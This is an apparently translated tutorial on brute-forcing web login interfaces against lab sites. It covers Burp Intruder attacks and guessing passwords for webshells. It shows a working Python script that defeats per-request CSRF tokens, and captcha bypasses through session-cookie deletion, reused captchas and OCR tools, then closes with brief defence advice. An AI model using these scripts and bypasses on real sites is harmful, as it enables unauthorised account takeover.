Teach you how to play blasting --- some stories about brute force cracking

Today we are not here to play games, our focus is to understand some blasting techniques for the web login interface.

It is a kind of attack method that cannot be put on the table in many occasions. Simply send the normal request, keep trying the username and password, and finally log in. We can call it blasting and exhaustive attack.

1 Overview

Exhaustive enumeration means enumeration. In today's Internet, you need to use certain services, and most of them require a password to log in. This password is the password. The strength of the password is divided into weak passwords, moderate passwords, and strong passwords. If the login service has a weak password, there will be a great security risk. Hackers attack the service through exhaustive weak passwords, and it is easy to obtain the login password. After obtaining the password, you can log in to the service and perform other more harmful operations. Hackers can also conduct exhaustive attacks by organizing user information and combining passwords. For example, according to the user's birthday number, date of birth and name combination of passwords, and then exhaustively enumerate its services.

2. Environment construction

Two windows2012 virtual machines need to be deployed inside the local virtualization environment, and we need to access the domain name of the website deployed on them. Then we need to modify the local, that is, the local host file to point to the corresponding host IP address, and then use the domain name to access the target host.

2.1 Unzip the file to the current directory

2.2 Import virtual machine

Take ownership:

Network card mode NAT:

Configure to automatically obtain an IP address after booting:

Get the current virtual machine IP address:

Our attack machine is played by the local host, and the corresponding domain name is resolved to this address on the attack machine to maintain the domain name to access the corresponding web service.

C:\Windows\System32\drivers\etc\hosts

192.168.2.175 www.c1moon.com
192.168.2.175 www.c3moon.com
192.168.2.175 www.c4moon.com

Test access:

All three websites can be accessed normally through the domain name.

As for the more detailed information of the environment, you can check it yourself in the document. The core idea is that we need to access our test website through the domain name.

3. Burpsuite exhaustive background password

Burp is really a little helper for security personnel, and the exhaustive functions it provides are also very powerful.

3.1 Exhaustive enumeration without verification code

Test site: www.c1moon.com

3.1.1 Find the landing point

Click here to enter the login box at the back of the website. If there is no obvious login location, you can use tools such as dirsearch for path detection.

3.1.2 Packet capture and blasting

If we are prompted to enter the wrong password, it means that the user name exists. Turn on burp for packet capture analysis: ctrl + r and send it to the replay module to check the status after release:

Here it shows that the password is wrong, and we continue ctrl+ito send the data packet to the blasting module. The $package in this module is the variable, which can be traversed multiple times in subsequent tests. After sorting (click clear, select the variable field, and click add again), the following effect will appear:

Add it to our dictionary in the payload

Start attack: click start attack in the upper right corner

So far we can see that according to the sorting of the corresponding packet size or the status code, there is a different one, which is very likely to be the correct password.Normal page requests are usually processed with 302 when the login is successful. We can go back to the original page and try to log in.

The state blasting without verification code is successful.

Tips: When Chinese characters are not visible in the data packet interface, you can try to modify the encoding format of burp and adjust it to Chinese characters.

3.2 Burp exhaustive for webshell

After the gray hats break through the website, they usually leave a back door to facilitate the illegal management of their website. The programming language of the backdoor includes asp, php, and .net these script files are placed under certain directories on the website, and generally a single password is used to log in.

Obtain the URL of the backdoor of the webshell through directory scanning. After obtaining the URL, you can perform password exhaustion on it to gain the opportunity to log in to the other party's background.

Test environment: We have obtained two webshells hidden under the root directory through scanning methods, and tried to exhaustively enumerate them.

http://www.c1moon.com/webshell.asp
http://www.c1moon.com/webshell.aspx

Capture the packet and put the packet into the blasting module:

Start blasting directly:

Login attempt:

One said that the function of this kind of Malaysia is still very perfect, and the other is not demonstrating the blasting process.

Because there are no security restrictions, it is very simple for us to break through such a login interface. In theory, as long as our dictionary is large enough, it is easy to blast into it.

3.3 Website background with token defense

Some websites have a token value in the background. The popular name of this token is token, and it will change randomly every time the page is refreshed. This token value must be carried when submitting a request, which can be used to avoid direct exhaustion in the background and prevent csrf attacks.

test environment:

http://www.c3moon.com/login.php

The first pull request submission:

Try to follow up the jump page and you can see the words that the login failed:

When we try to replay this packet again:

It can be seen that the follow-up response data message has changed into csrf token increatwords. This means that the server restricts our access through the token. In fact, you can also check the value change of token on the current page by constantly refreshing the page:

Its rough access logic is as follows:

1.客户端向服务器发起请求
2.服务端在返回页面内部插入一次性token字符串，要求客户端下一次请求提交数据时必须携带该token作为令牌。以此实现安全访问。
3.当我们提交post请求时同时将token附在页面内部，和账号密码一起提交
4.服务器拿到请求先检查token是不是自己先前发出去的内一个，用过之后就将使用过的token标记起来，如果下一次在收到相同的token则视为重放攻击。拒绝登陆请求。

3.3.1 burpsuite bypass token

Then, after sorting out the above defense methods, we should also have a countermeasure. When the previous burp initiated a large number of blasting requests, it was unable to obtain the token in advance for each request, which made burp unusable in this environment.

In other words, we only need to make burp's request available inObtain a one-time token in advance before each request, this defense mechanism can be bypassed. This depends on the macro definition function that comes with burp, which assists in performing some actions before the module is executed.

Go to project optionsthe tab and select Add New Macro

click to add

Select run a macro

to add tasks:

Add monitoring page:

Select the content extracted from the page:

Set the capture field:

After the setting is successful, there should be the following phenomena in this page;

Click ok to set the update content, this option updates the following fields for each request

Set scope: The role URL here is limited to the inside of the target site

When finished, click OK to complete the macro setup. Go back to the first step, continue to capture packets, and throw them into the cracking module to start the next blasting. It should be noted that every request on this page will jump, so we need to enable the tracking mode here in the blasting module:

Implement blasting:

It can be seen that with the help of macros, we quickly completed the blasting that bypassed token restrictions.

3.3.2 python script bypass token

In addition to the use of the above-mentioned burp tool module, we can also use python scripts to complete this operation.

#coding:utf-8
import requests
import re
#定义目标URL
url = "http://www.c3moon.com/login.php"

#以密码为参数的请求函数
def login(password):
    session = requests.session()
    req=session.get(url)
    #print(req) 获取session对象，下面则从session对象中获取实时的token数值
    user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
    #print(user_token) 获取当前页面的user_token
    data={
    
    "username":"admin","password":password,"Login":"Login",'user_token':user_token}
    req=session.post(url=url,data=data,allow_redirects=True)
    html = req.text
    return html

#注意在当前的页面文件夹内部存放字典文件
with open('toppasswd.txt') as p:
    passlist =p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'File Upload' in login(line):
        print( "[* 密码 is %s *]" % line )
        break

operation result:

Principle analysis:

1.客户端在于服务器进行通信时，服务器端会生成session文件用于存储客户端校验用的token信息。

2.客户端拿到响应报文时会生成名称为phpsessionid的cookie其内部存储的就是服务器上对应的sessionid，用于找到对应的文件

3.当客户端再次发起post请求提交文件时，会携带cookie上去，服务器跟着cookie中的sessionid找到存储了的session文件，取出其中的token数值于报文中携带的token进行对比，如果不一致则直接拒绝此请求。返回token失效的信息。

Then, the function implemented by our script is to read the token information in the session from the returned message for this web request sending. The cycle goes on and on, thus bypassing the verification mechanism of the token.

4. Captcha bypass

Verification code verification may exist in the background of the website or where there is login. The role of verification codes Many websites will use verification code technology to prevent users from using robots to automatically register, log in, and fill water. The so-called verification code is a string of randomly generated Numbers and symbols, generate a picture, add interference pixels (to prevent orc) on the picture, and require the user to identify the verification code information with the naked eye, enter the form and submit the website for verification.

We usually have two ideas for the processing scheme of the verification code background. One is to use the logical loopholes in the verification code to bypass the verification process. The other is to directly use automated image recognition tools to identify verification codes.

4.1 Logic Bypass

4.1.1 Authentication failure caused by cookie failure

Test Site: Login Box

http://www.c4moon.com/index.php?case=user&act=login

Note that the first login here does not have this verification code, and it is invisible. We need to try it once before we can display the place to enter the verification code.

Packet capture analysis results: Continuous submission will prompt us that the verification code is wrong. Here it means that the value of the back-end verification code is refreshed for each request.

Try to bypass, we delete the sessionid here and try to submit the request again, and find that the result of the response message has changed:

Set the blasting module test effect:

The successful blasting is successful. The reason here is that the application makes a mistake when processing the login logic, and does not verify when the client does not have a cookie. This point was already shown when we logged in for the first time, so we skipped the execution process directly after deleting the corresponding cookie field in the request message. As a result, we can log in without verifying the verification code, so that we can further carry out blasting attacks.

4.1.2 The background verification code does not follow the new verification code bypass in time

Verification code verification is performed when logging in and submitting, regardless of whether the password is correct or not, the verification code must be destroyed.

Test site:

http://emlog.redteam.com/admin/

We directly conduct packet capture analysis, and we can see that no matter how many times we repeatedly submit the returned data message, it is still a password error, not an invalid verification code. Therefore, the verification code is not refreshed after entering the wrong password, so it will cause a bug that we can blast

Enter the repeat module to try to replay:

Blasting module test:

4.2 Identification Bypass

In fact, there is no technical content in this step. Find a handy tool and find a way to complete the verification code recognition + blast a shuttle.

If there are too few interfering pixels in the picture, it will be recognized by some tools, which will cause the danger of the verification code being invalidated and bypassed.

Test environment: At this time, we can pretend that there is no logical problem with cookie verification on the source site

http://www.c4moon.com/index.php?case=user&act=login

We need to get a tool with verification code recognition. First, we will conduct a verification code usability test at the place where the verification code is entered. Right-click the verification code, open it in a new page, and copy the corresponding url:

put it in the tool for processing:

After the test identification is correct, we can blast. We first get the complete request message from burp.

Copy it into the tool:

Enter the blasting interface: Note that the features here need to be extracted from the burp and placed in the frame

At this point, you can use this software to carry out blasting with verification code identification.

5. Defensive thinking

Of course, from the above series of examples, you can find that there are two cores of blasting, one is having a handy tool, and the other is an accurate dictionary.

Then we also have two defense ideas. The first is the defense against the dictionary. We can force the user to use what kind of characters when setting the password daily, such as a mixed password with uppercase and lowercase letters and numbers. Let the user's password become a strong password in the true sense. In this way, the probability of user passwords appearing in hackers' dictionaries is reduced.

Secondly, we can work hard on its tools, that is, find ways to recognize human-machine recognition. If the traditional verification code will be bypassed, then we will use a verification code that is more difficult to be recognized by the machine, or simply add a single user login mobile phone verification, email verification. In this way, the threshold for tool users can be raised.

Of course, in the face of such automation threats, as a large enterprise, it has already endangered our business security. We should consider the use of corresponding security devices, such as certain WAFs that can provide strong confrontation in automated threat defense, or a dynamic application protection system of a certain manufacturer. Both can effectively resist the harm caused by brute force cracking and credentialing.